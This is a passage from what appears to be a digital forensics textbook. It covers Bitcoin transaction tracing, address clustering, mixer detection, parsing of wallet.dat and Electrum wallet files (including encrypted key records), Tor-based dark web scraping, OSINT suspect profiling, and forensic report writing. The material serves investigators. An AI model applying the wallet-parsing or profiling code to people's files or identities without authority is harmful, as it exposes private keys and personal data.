transaction hash\n    - Output index\n    - Signature (scriptSig)\n\nOutputs (destinations):\n    - Value (satoshis)\n    - Recipient address (scriptPubKey)\n```\n\n#### Forensic Opportunities\n\n| Data Source | Information | Forensic Value |\n|-------------|-------------|----------------|\n| **Public Blockchain** | All transactions | Tracing flow of funds |\n| **Wallet Files** | Addresses, keys | Identity attribution |\n| **Exchange Records** | KYC data | User identification |\n| **Node Logs** | IP addresses | Network attribution |\n| **Blockchain Analysis** | Clustering | Address grouping |\n\n---\n\n### 16.2 Bitcoin Transaction Tracing\n\n#### Parsing Blockchain Data\n\n```python\nimport requests\nfrom datetime import datetime\n\nclass BitcoinTracer:\n    \"\"\"Trace Bitcoin transactions\"\"\"\n    \n    def __init__(self, api_url=\"https://blockchain.info\"):\n        self.api_url = api_url\n    \n    def get_address_info(self, address):\n        \"\"\"Get information about a Bitcoin address\"\"\"\n        \n        response = requests.get(\n            f\"{self.api_url}/rawaddr/{address}\"\n        )\n        \n        if response.status_code == 200:\n            data = response.json()\n            \n            return {\n                'address': address,\n                'total_received': data.get('total_received', 0) / 100000000,  # Convert to BTC\n                'total_sent': data.get('total_sent', 0) / 100000000,\n                'balance': data.get('final_balance', 0) / 100000000,\n                'transaction_count': data.get('n_tx', 0),\n                'transactions': data.get('txs', [])\n            }\n        \n        return None\n    \n    def trace_transaction(self, tx_hash, depth=3):\n        \"\"\"Trace a transaction to its sources/sinks\"\"\"\n        \n        response = requests.get(\n            f\"{self.api_url}/rawtx/{tx_hash}\"\n        )\n        \n        if response.status_code != 200:\n            return None\n        \n        tx = response.json()\n        \n        trace = {\n            'hash': tx_hash,\n            'time': datetime.fromtimestamp(tx.get('time', 0)),\n            'inputs': [],\n            'outputs': [],\n            'value': sum(o.get('value', 0) for o in tx.get('out', [])) / 100000000\n        }\n        \n        # Process inputs (sources)\n        for inp in tx.get('inputs', []):\n            if 'prev_out' in inp:\n                input_info = {\n                    'address': inp['prev_out'].get('addr', 'Unknown'),\n                    'value': inp['prev_out'].get('value', 0) / 100000000,\n                    'tx_hash': inp['prev_out'].get('tx_index')\n                }\n                trace['inputs'].append(input_info)\n        \n        # Process outputs (destinations)\n        for out in tx.get('out', []):\n            output_info = {\n                'address': out.get('addr', 'Unknown'),\n                'value': out.get('value', 0) / 100000000,\n                'spent': out.get('spent', False)\n            }\n            trace['outputs'].append(output_info)\n        \n        # Recursively trace if depth > 0\n        if depth > 0:\n            for inp in trace['inputs']:\n                if inp['tx_hash']:\n                    inp['source_trace'] = self.trace_transaction(\n                        inp['tx_hash'], depth - 1\n                    )\n        \n        return trace\n    \n    def cluster_addresses(self, addresses):\n        \"\"\"Group addresses that likely belong to same entity\"\"\"\n        \n        # Common heuristics:\n        # 1. Multiple addresses in same transaction\n        # 2. Change addresses (one input, two outputs)\n        # 3. Peeling chains (systematic small transactions)\n        \n        clusters = {}\n        \n        # This is complex - would use graph analysis\n        # NetworkX can be used for this\n        \n        return clusters\n```\n\n#### Detecting Mixing/Tumbling\n\n```python\ndef detect_mixing_service(transactions):\n    \"\"\"Detect if transactions involve a mixing service\"\"\"\n    \n    mix_indicators = []\n    \n    # Characteristics of mixers:\n    # 1. Many inputs, many outputs\n    # 2. Similar output amounts\n    # 3. Time delays between transactions\n    # 4. Known mixer addresses\n    \n    for tx in transactions:\n        inputs = tx.get('inputs', [])\n        outputs = tx.get('outputs', [])\n        \n        # Many inputs and outputs\n        if len(inputs) > 10 and len(outputs) > 10:\n            mix_indicators.append('many_inputs_outputs')\n        \n        # Check output amounts\n        output_values = [o['value'] for o in outputs]\n        if len(set(output_values)) == 1 and len(output_values) > 5:\n            mix_indicators.append('equal_outputs')\n        \n        # Check for change patterns\n        if len(inputs) == 1 and len(outputs) == 2:\n            # Could be change address\n            change_ratio = min(output_values) / max(output_values)\n            if change_ratio < 0.1:  # Small change\n                # Not necessarily mixing, but note\n                pass\n    \n    return {\n        'is_mixer': len(mix_indicators) >= 2,\n        'indicators': mix_indicators\n    }\n```\n\n---\n\n### 16.3 Wallet Artifact Analysis\n\nCryptocurrency wallets store keys, addresses, and transaction history.\n\n#### Wallet File Locations\n\n| Wallet | Location | File Format |\n|--------|----------|-------------|\n| **Bitcoin Core** | ~/.bitcoin/wallet.dat | Berkeley DB |\n| **Electrum** | ~/.electrum/wallets/ | JSON |\n| **Exodus** | Various | Encrypted |\n| **Blockchain.info** | Browser storage | JavaScript |\n| **Hardware Wallets** | Device storage | Proprietary |\n\n#### Parsing Bitcoin Core Wallet\n\n```python\nimport bsddb3  # Berkeley DB\nimport hashlib\nimport base58\n\ndef parse_bitcoin_wallet(wallet_path):\n    \"\"\"Parse Bitcoin Core wallet.dat file\"\"\"\n    \n    try:\n        db = bsddb3.db.DB()\n        db.open(wallet_path, None, bsddb3.db.DB_HASH, bsddb3.db.DB_RDONLY)\n        \n        wallet_data = {}\n        \n        # Common keys in wallet.dat\n        for key in db.keys():\n            try:\n                key_str = key.decode('utf-8', errors='ignore')\n                value = db.get(key)\n                \n                # Check for address keys\n                if key_str.startswith('name'):\n                    # Address label\n                    addr = key_str[4:]  # Remove 'name' prefix\n                    label = value.decode('utf-8', errors='ignore')\n                    wallet_data[f'label_{addr}'] = label\n                \n                elif key_str.startswith('key'):\n                    # Private key\n                    # This is encrypted - would need wallet password\n                    wallet_data[f'encrypted_key_{len(wallet_data)}'] = value.hex()[:50]\n                \n                elif key_str == 'defaultkey':\n                    wallet_data['default_key'] = value.hex()[:50]\n                \n                elif key_str == 'version':\n                    wallet_data['version'] = int.from_bytes(value, 'little')\n                \n            except:\n                continue\n        \n        db.close()\n        \n        return wallet_data\n        \n    except Exception as e:\n        return {'error': str(e)}\n\ndef extract_bitcoin_addresses(wallet_data):\n    \"\"\"Extract Bitcoin addresses from wallet data\"\"\"\n    \n    addresses = []\n    \n    # In Bitcoin, addresses are derived from public keys\n    # This is simplified - would need to process key material\n    \n    for key, value in wallet_data.items():\n        if key.startswith('label_'):\n            address = key[6:]  # Remove 'label_' prefix\n            addresses.append({\n                'address': address,\n                'label': value,\n                'type': 'address_with_label'\n            })\n    \n    return addresses\n```\n\n#### Analyzing Electrum Wallets\n\n```python\nimport json\nimport hashlib\nfrom Cryptodome.Cipher import AES\n\ndef parse_electrum_wallet(wallet_path):\n    \"\"\"Parse Electrum wallet file\"\"\"\n    \n    with open(wallet_path, 'r') as f:\n        data = json.load(f)\n    \n    wallet_info = {\n        'wallet_type': data.get('wallet_type', 'unknown'),\n        'seed_version': data.get('seed_version'),\n        'use_encryption': data.get('use_encryption', False),\n        'addresses': [],\n        'transactions': []\n    }\n    \n    # Extract addresses\n    if 'addresses' in data:\n        for addr_type, addr_list in data['addresses'].items():\n            for addr in addr_list:\n                wallet_info['addresses'].append({\n                    'address': addr,\n                    'type': addr_type\n                })\n    \n    # Check for encrypted seed\n    if 'seed' in data:\n        if isinstance(data['seed'], str) and data['seed'].startswith('encrypted'):\n            wallet_info['seed_encrypted'] = True\n    \n    # Get transaction history\n    if 'transactions' in data:\n        wallet_info['transactions'] = data['transactions']\n    \n    return wallet_info\n\ndef attempt_wallet_decryption(wallet_data, password):\n    \"\"\"Attempt to decrypt wallet seed\"\"\"\n    \n    if not wallet_data.get('seed_encrypted'):\n        return None\n    \n    # This is simplified - actual decryption is more complex\n    # Electrum uses AES-256-CBC\n    \n    try:\n        # Would need to derive key from password\n        # and decrypt the seed\n        return \"Decryption attempted - would return seed if successful\"\n    except:\n        return None\n```\n\n---\n\n### 16.4 Blockchain Analytics Tools\n\n#### Using Blockchain Explorers\n\n```python\nclass BlockchainAnalyzer:\n    \"\"\"Analyze blockchain data using public APIs\"\"\"\n    \n    def __init__(self):\n        self.apis = {\n            'blockchain.info': 'https://blockchain.info',\n            'blockchair.com': 'https://api.blockchair.com',\n            'chain.so': 'https://chain.so/api/v2'\n        }\n    \n    def get_transaction_graph(self, address, depth=2):\n        \"\"\"Build transaction graph around an address\"\"\"\n        \n        import networkx as nx\n        \n        G = nx.DiGraph()\n        \n        def add_transactions(addr, current_depth):\n            if current_depth > depth:\n                return\n            \n            # Get address info\n            info = self.get_address_info(addr)\n            if not info:\n                return\n            \n            for tx in info.get('transactions', []):\n                tx_hash = tx['hash']\n                \n                # Add inputs\n                for inp in tx.get('inputs', []):\n                    if 'prev_out' in inp:\n                        src = inp['prev_out'].get('addr', 'Unknown')\n                        value = inp['prev_out'].get('value', 0)\n                        G.add_edge(src, addr, \n                                  transaction=tx_hash,\n                                  value=value,\n                                  type='input')\n                        \n                        if current_depth < depth:\n                            add_transactions(src, current_depth + 1)\n                \n                # Add outputs\n                for out in tx.get('out', []):\n                    dst = out.get('addr', 'Unknown')\n                    value = out.get('value', 0)\n                    G.add_edge(addr, dst,\n                              transaction=tx_hash,\n                              value=value,\n                              type='output')\n        \n        add_transactions(address, 0)\n        \n        return G\n    \n    def analyze_transaction_patterns(self, G):\n        \"\"\"Analyze patterns in transaction graph\"\"\"\n        \n        patterns = {\n            'peeling_chains': [],\n            'fork_merge': [],\n            'circular': []\n        }\n        \n        # Detect peeling chains (systematic small transactions)\n        for node in G.nodes():\n            out_edges = list(G.out_edges(node, data=True))\n            if len(out_edges) > 5:\n                # Check if one large output and many small ones\n                values = [e[2].get('value', 0) for e in out_edges]\n                if max(values) > sum(values) * 0.5:\n                    patterns['peeling_chains'].append(node)\n        \n        return patterns\n```\n\n#### Clustering Heuristics\n\n```python\ndef cluster_addresses(transactions):\n    \"\"\"Cluster addresses using common heuristics\"\"\"\n    \n    import networkx as nx\n    \n    G = nx.Graph()\n    \n    # Heuristic 1: Multi-input transactions\n    # All inputs in a transaction likely belong to same entity\n    for tx in transactions:\n        inputs = tx.get('inputs', [])\n        if len(inputs) > 1:\n            addrs = [i.get('address') for i in inputs if i.get('address')]\n            for i in range(len(addrs)):\n                for j in range(i+1, len(addrs)):\n                    G.add_edge(addrs[i], addrs[j], weight=1.0)\n    \n    # Heuristic 2: Change addresses\n    # The smaller output in a one-input, two-output transaction\n    # is likely change belonging to the sender\n    for tx in transactions:\n        inputs = tx.get('inputs', [])\n        outputs = tx.get('outputs', [])\n        \n        if len(inputs) == 1 and len(outputs) == 2:\n            sender = inputs[0].get('address')\n            if sender:\n                # The smaller output is likely change\n                if outputs[0]['value'] < outputs[1]['value']:\n                    change = outputs[0]['address']\n                else:\n                    change = outputs[1]['address']\n                \n                if change:\n                    G.add_edge(sender, change, weight=0.8)\n    \n    # Find connected components (clusters)\n    clusters = list(nx.connected_components(G))\n    \n    return clusters\n```\n\n---\n\n### 16.5 Dark Web Marketplace Investigations\n\n#### Accessing Dark Web Content\n\n```python\nimport stem\nfrom stem.control import Controller\nimport socks\nimport socket\nimport requests\n\nclass DarkWebInvestigator:\n    \"\"\"Investigate dark web content\"\"\"\n    \n    def __init__(self, tor_password=None):\n        self.session = None\n        self.setup_tor(tor_password)\n    \n    def setup_tor(self, password):\n        \"\"\"Setup Tor connection\"\"\"\n        \n        # Configure SOCKS proxy\n        socks.set_default_proxy(socks.SOCKS5, \"127.0.0.1\", 9050)\n        socket.socket = socks.socksocket\n        \n        # Create session\n        self.session = requests.Session()\n        \n        # Optional: Control Tor for circuit management\n        if password:\n            try:\n                controller = Controller.from_port(port=9051)\n                controller.authenticate(password=password)\n                self.controller = controller\n            except:\n                print(\"Tor control connection failed\")\n    \n    def new_circuit(self):\n        \"\"\"Request new Tor circuit\"\"\"\n        \n        if hasattr(self, 'controller'):\n            self.controller.signal(stem.Signal.NEWNYM)\n            return True\n        return False\n    \n    def get_onion_content(self, onion_url):\n        \"\"\"Retrieve content from .onion site\"\"\"\n        \n        try:\n            response = self.session.get(\n                onion_url,\n                timeout=30,\n                headers={'User-Agent': 'Mozilla/5.0'}\n            )\n            \n            if response.status_code == 200:\n                return response.text\n            else:\n                return f\"Error: {response.status_code}\"\n                \n        except Exception as e:\n            return f\"Connection error: {str(e)}\"\n    \n    def search_marketplace(self, marketplace_url, product):\n        \"\"\"Search for products on marketplace\"\"\"\n        \n        # This would need to parse marketplace-specific HTML\n        # Each marketplace has different structure\n        \n        content = self.get_onion_content(marketplace_url)\n        \n        # Parse for product listings\n        # Would use BeautifulSoup or similar\n        \n        return content\n```\n\n#### Capturing Marketplace Evidence\n\n```python\nimport hashlib\nfrom datetime import datetime\nimport json\n\ndef capture_marketplace_evidence(investigator, urls):\n    \"\"\"Capture forensic evidence from dark web marketplaces\"\"\"\n    \n    evidence = {\n        'timestamp': datetime.now().isoformat(),\n        'urls_accessed': [],\n        'content_hashes': [],\n        'screenshots': [],\n        'transaction_records': []\n    }\n    \n    for url in urls:\n        print(f\"Accessing {url}\")\n        \n        # Get content\n        content = investigator.get_onion_content(url)\n        \n        # Calculate hash\n        content_hash = hashlib.sha256(content.encode()).hexdigest()\n        \n        evidence['urls_accessed'].append({\n            'url': url,\n            'timestamp': datetime.now().isoformat(),\n            'content_hash': content_hash\n        })\n        \n        evidence['content_hashes'].append(content_hash)\n        \n        # Save content\n        with open(f\"evidence_{hashlib.md5(url.encode()).hexdigest()}.html\", 'w') as f:\n            f.write(content)\n        \n        # Take screenshot (would need headless browser)\n        # ...\n        \n        # Look for Bitcoin addresses\n        import re\n        btc_pattern = r'[13][a-km-zA-HJ-NP-Z0-9]{26,33}'\n        btc_addresses = re.findall(btc_pattern, content)\n        \n        if btc_addresses:\n            evidence['transaction_records'].extend([\n                {\n                    'source': url,\n                    'address': addr,\n                    'found': datetime.now().isoformat()\n                }\n                for addr in set(btc_addresses)\n            ])\n        \n        # Rotate circuit occasionally\n        if len(evidence['urls_accessed']) % 3 == 0:\n            investigator.new_circuit()\n            print(\"New Tor circuit established\")\n    \n    # Save evidence manifest\n    with open('dark_web_evidence.json', 'w') as f:\n        json.dump(evidence, f, indent=2)\n    \n    return evidence\n```\n\n---\n\n### 16.6 OSINT Correlation\n\nCombining cryptocurrency data with open-source intelligence.\n\n#### Correlating Cryptocurrency with OSINT\n\n```python\nimport requests\nfrom datetime import datetime, timedelta\n\nclass OSINTCorrelator:\n    \"\"\"Correlate cryptocurrency data with OSINT\"\"\"\n    \n    def __init__(self):\n        self.osint_sources = {\n            'twitter': self.search_twitter,\n            'reddit': self.search_reddit,\n            'pastebin': self.search_pastebin,\n            'blockchain_forums': self.search_forums\n        }\n    \n    def search_twitter(self, query, days_back=30):\n        \"\"\"Search Twitter for cryptocurrency mentions\"\"\"\n        \n        # Would use Twitter API\n        # This is simplified\n        \n        return [\n            {\n                'platform': 'twitter',\n                'query': query,\n                'results': 'API would return tweets'\n            }\n        ]\n    \n    def search_reddit(self, address):\n        \"\"\"Search Reddit for address mentions\"\"\"\n        \n        # Reddit search API\n        url = f\"https://www.reddit.com/search.json?q={address}&restrict_sr=off\"\n        \n        try:\n            response = requests.get(url, headers={'User-Agent': 'Forensic Tool'})\n            if response.status_code == 200:\n                data = response.json()\n                \n                results = []\n                for post in data.get('data', {}).get('children', []):\n                    post_data = post['data']\n                    results.append({\n                        'title': post_data.get('title'),\n                        'url': post_data.get('url'),\n                        'subreddit': post_data.get('subreddit'),\n                        'created': datetime.fromtimestamp(post_data.get('created_utc')),\n                        'score': post_data.get('score')\n                    })\n                \n                return results\n        except:\n            pass\n        \n        return []\n    \n    def search_pastebin(self, address):\n        \"\"\"Search Pastebin for address mentions\"\"\"\n        \n        # Pastebin scraping is more complex\n        # Would need to use their API or scrape recent pastes\n        \n        return []\n    \n    def search_forums(self, address):\n        \"\"\"Search cryptocurrency forums\"\"\"\n        \n        forums = [\n            'https://bitcointalk.org',\n            'https://forum.bitcoin.com',\n            'https://www.reddit.com/r/Bitcoin'\n        ]\n        \n        results = []\n        # Would need forum-specific scraping\n        \n        return results\n    \n    def correlate_address(self, bitcoin_address, timeframe_days=90):\n        \"\"\"Correlate Bitcoin address with OSINT\"\"\"\n        \n        correlation = {\n            'address': bitcoin_address,\n            'timeframe': f\"last_{timeframe_days}_days\",\n            'mentions': [],\n            'associated_identities': [],\n            'risk_score': 0\n        }\n        \n        # Search across all sources\n        for source_name, search_func in self.osint_sources.items():\n            try:\n                results = search_func(bitcoin_address)\n                if results:\n                    correlation['mentions'].extend(results)\n                    \n                    # Extract potential identities\n                    for result in results:\n                        # Look for usernames, emails, etc.\n                        pass\n            except Exception as e:\n                print(f\"Error searching {source_name}: {e}\")\n        \n        # Calculate risk score based on:\n        # - Number of mentions\n        # - Association with illegal markets\n        # - Forum reputation\n        # - Transaction patterns\n        \n        correlation['risk_score'] = len(correlation['mentions']) * 10\n        \n        return correlation\n```\n\n#### Building a Suspect Profile\n\n```python\ndef build_suspect_profile(bitcoin_address, transaction_trace, osint_data):\n    \"\"\"Build comprehensive suspect profile\"\"\"\n    \n    profile = {\n        'primary_address': bitcoin_address,\n        'transaction_analysis': {},\n        'osint_findings': [],\n        'timeline': [],\n        'confidence_score': 0,\n        'identified_identities': []\n    }\n    \n    # Analyze transaction patterns\n    if transaction_trace:\n        # Total volume\n        total_received = sum(\n            inp.get('value', 0) for inp in transaction_trace.get('inputs', [])\n        )\n        total_sent = sum(\n            out.get('value', 0) for out in transaction_trace.get('outputs', [])\n        )\n        \n        profile['transaction_analysis'] = {\n            'total_received_btc': total_received,\n            'total_sent_btc': total_sent,\n            'transaction_count': len(transaction_trace.get('transactions', [])),\n            'first_seen': min(\n                (t.get('time') for t in transaction_trace.get('transactions', [])),\n                default=None\n            ),\n            'last_seen': max(\n                (t.get('time') for t in transaction_trace.get('transactions', [])),\n                default=None\n            )\n        }\n    \n    # Process OSINT data\n    for mention in osint_data.get('mentions', []):\n        profile['osint_findings'].append({\n            'source': mention.get('platform', 'unknown'),\n            'content': mention.get('title', '')[:100],\n            'date': mention.get('created'),\n            'url': mention.get('url')\n        })\n        \n        # Extract usernames\n        if mention.get('platform') == 'twitter':\n            # Extract @username from text\n            pass\n        elif mention.get('platform') == 'reddit':\n            profile['identified_identities'].append({\n                'type': 'reddit_user',\n                'value': mention.get('subreddit'),\n                'confidence': 'medium'\n            })\n    \n    # Create timeline\n    all_events = []\n    \n    # Add transaction events\n    for tx in transaction_trace.get('transactions', []):\n        all_events.append({\n            'time': tx.get('time'),\n            'type': 'transaction',\n            'details': f\"Transaction {tx.get('hash')[:10]}...\",\n            'value': tx.get('value', 0)\n        })\n    \n    # Add OSINT events\n    for mention in profile['osint_findings']:\n        if mention.get('date'):\n            all_events.append({\n                'time': mention['date'],\n                'type': 'osint_mention',\n                'details': f\"Mentioned on {mention['source']}\",\n                'source': mention['source']\n            })\n    \n    # Sort timeline\n    all_events.sort(key=lambda x: x.get('time', datetime.min))\n    profile['timeline'] = all_events\n    \n    # Calculate confidence score\n    profile['confidence_score'] = min(\n        len(profile['identified_identities']) * 25 +\n        len(profile['osint_findings']) * 5 +\n        (profile['transaction_analysis'].get('transaction_count', 0) > 0) * 10,\n        100\n    )\n    \n    return profile\n```\n\n---\n\n### 16.7 Cryptocurrency Tumbling Detection\n\n```python\ndef analyze_tumbling_patterns(transactions):\n    \"\"\"Analyze transactions for tumbling/mixing patterns\"\"\"\n    \n    tumbling_indicators = {\n        'peeling_chain': False,\n        'fork_merge': False,\n        'circular_flow': False,\n        'structured_delays': False\n    }\n    \n    # 1. Detect peeling chains\n    # One input, multiple outputs where amounts gradually decrease\n    \n    # 2. Detect fork-merge patterns\n    # Funds split then recombine later\n    \n    # 3. Detect circular flows\n    # Funds eventually return to original address\n    \n    # 4. Detect structured delays\n    # Transactions at regular intervals\n    \n    # Build transaction graph\n    import networkx as nx\n    G = nx.DiGraph()\n    \n    for tx in transactions:\n        tx_hash = tx.get('hash')\n        inputs = tx.get('inputs', [])\n        outputs = tx.get('outputs', [])\n        \n        for inp in inputs:\n            src = inp.get('address')\n            for out in outputs:\n                dst = out.get('address')\n                if src and dst:\n                    G.add_edge(src, dst, \n                              transaction=tx_hash,\n                              value=out.get('value', 0))\n    \n    # Look for cycles (circular flow)\n    try:\n        cycles = list(nx.simple_cycles(G))\n        if cycles:\n            tumbling_indicators['circular_flow'] = True\n    except:\n        pass\n    \n    # Look for nodes with high in/out degree (mixers)\n    for node in G.nodes():\n        in_degree = G.in_degree(node)\n        out_degree = G.out_degree(node)\n        \n        if in_degree > 10 and out_degree > 10:\n            tumbling_indicators['fork_merge'] = True\n    \n    # Score the likelihood of tumbling\n    indicator_count = sum(1 for v in tumbling_indicators.values() if v)\n    \n    return {\n        'indicators': tumbling_indicators,\n        'tumbling_score': indicator_count * 25,  # 0-100\n        'likely_tumbled': indicator_count >= 2\n    }\n```\n\n---\n\n# PART VIII \u2013 LEGAL, REPORTING & CAREER\n\n---\n\n## Chapter 17 \u2013 Writing Professional Forensic Reports\n\n---\n\n### 17.1 The Importance of Forensic Reporting\n\nA forensic report is the final product of your investigation and often the only thing the court, client, or stakeholders will see. A technically perfect investigation can be undermined by a poorly written report.\n\n#### Why Reports Matter\n\n```\nTechnical Investigation (100% effort)\n    \u2193\nReport Writing (50% effort)\n    \u2193\nReader Comprehension (25% retention)\n    \u2193\nLegal Proceedings (100% scrutiny)\n```\n\n**Key Principles:**\n- **Clarity:** Avoid jargon when possible, define when necessary\n- **Accuracy:** Every statement must be defensible\n- **Completeness:** Include all relevant findings, even negative ones\n- **Objectivity:** Present facts, not opinions (unless qualified as expert opinion)\n- **Reproducibility:** Another examiner should reach same conclusions\n\n---\n\n### 17.2 Report Structure\n\nA professional forensic report follows a standardized structure that guides the reader through your investigation.\n\n#### Standard Report Template\n\n```markdown\nFORENSIC EXAMINATION REPORT\n\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n\nCASE INFORMATION\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nCase Number: CF-2023-0042\nExaminer: Senior Forensic Analyst John Smith\nDate of Report: 2023-12-15\nRequesting Party: Legal Department, Acme Corporation\nClassification: Confidential\n\n1. EXECUTIVE SUMMARY\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nBrief overview (1-2 paragraphs) of:\n- What was examined\n- Key findings\n- Overall conclusions\n\n2. CASE BACKGROUND\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n- Incident description\n- Investigation scope\n- Legal authority (warrant, consent, etc.)\n- Chain of custody summary\n\n3. EVIDENCE LIST\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nItemized list of all evidence examined:\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 Item ID \u2502 Description     \u2502 Source       \u2502 Hash Value  \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 EX-001  \u2502 Dell Laptop     \u2502 John Doe     \u2502 SHA256:...  \u2502\n\u2502 EX-002  \u2502 iPhone 12       \u2502 John Doe     \u2502 SHA256:...  \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n\n4. EXAMINATION METHODOLOGY\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n- Tools used (name, version, hash)\n- Procedures followed\n- Acquisition methods\n- Analysis techniques\n\n5. TECHNICAL FINDINGS\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nDetailed findings organized by evidence item and finding type.\n\n   5.1 File System Analysis\n   5.2 User Activity Artifacts\n   5.3 Network Activity\n   5.4 Deleted Data Recovery\n   5.5 Timeline of Events\n\n6. ANALYSIS & INTERPRETATION\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n- Correlation of findings\n- Significance of evidence\n- Alternative explanations considered\n- Expert opinions\n\n7. CONCLUSIONS\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n- Summary of findings\n- Answers to specific questions\n- Recommendations\n\n8. LIMITATIONS\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n- Constraints encountered\n- Unanswered questions\n- Additional analysis needed\n\n9. APPENDICES\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nA. Chain of Custody Documentation\nB. Tool Verification Hashes\nC. Raw Data Extracts\nD. Glossary of Terms\nE. Examiner Qualifications\n```\n\n---\n\n### 17.3 Writing the Executive Summary\n\nThe executive summary is often the only section read by busy executives, lawyers, and judges.\n\n#### Executive Summary Examples\n\n**Poor Example:**\n```\n\"We analyzed the suspect's computer and found incriminating evidence including \ndeleted files and browser history showing they visited illegal websites.\"\n```\n\n**Good Example:**\n```\n\"On December 10, 2023, at the request of the Legal Department, this examiner \nconducted a forensic analysis of a Dell Latitude laptop (EX-001) belonging to \nJohn Doe.\n\nThe examination revealed that between November 1-15, 2023, the user downloaded \n47 files containing proprietary company information from the internal server \nto an external USB drive (connected on November 15 at 2:30 PM). These files \nincluded customer lists, pricing strategies, and product specifications.\n\nAdditionally, 23 of these files were emailed to a personal Gmail account \n(johndoe.personal@gmail.com) on November 16, approximately 4 hours before \nthe user's resignation was submitted.\n\nNo evidence of external compromise or unauthorized access was found, \nindicating these actions were performed by the authorized user.\n\nDetailed findings and supporting evidence are provided in Section 5.\"\n```\n\n#### Key Elements of Executive Summary\n\n```\nWHO:    John Doe (employee)\nWHAT:   Downloaded 47 proprietary files\nWHEN:   November 1-15, 2023\nWHERE:  From company server to personal USB\nWHY:    Appears related to resignation (submitted Nov 16)\nHOW:    Direct access using valid credentials\n```\n\n---\n\n### 17.4 Technical Findings Documentation\n\nTechnical findings must be detailed enough for peer review but organized for readability.\n\n#### File System Findings Template\n\n```markdown\n5.1 File System Analysis - EX-001 (Dell Laptop)\n\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n\n5.1.1 File System Overview\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n- File System: NTFS\n- Volume Size: 476 GB\n- Allocation Unit Size: 4096 bytes\n- Total Files Examined: 127,453\n- Deleted Files Recovered: 3,847\n\n5.1.2 Key Files Identified\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 Filename     \u2502 Full Path          \u2502 Created       \u2502 Modified     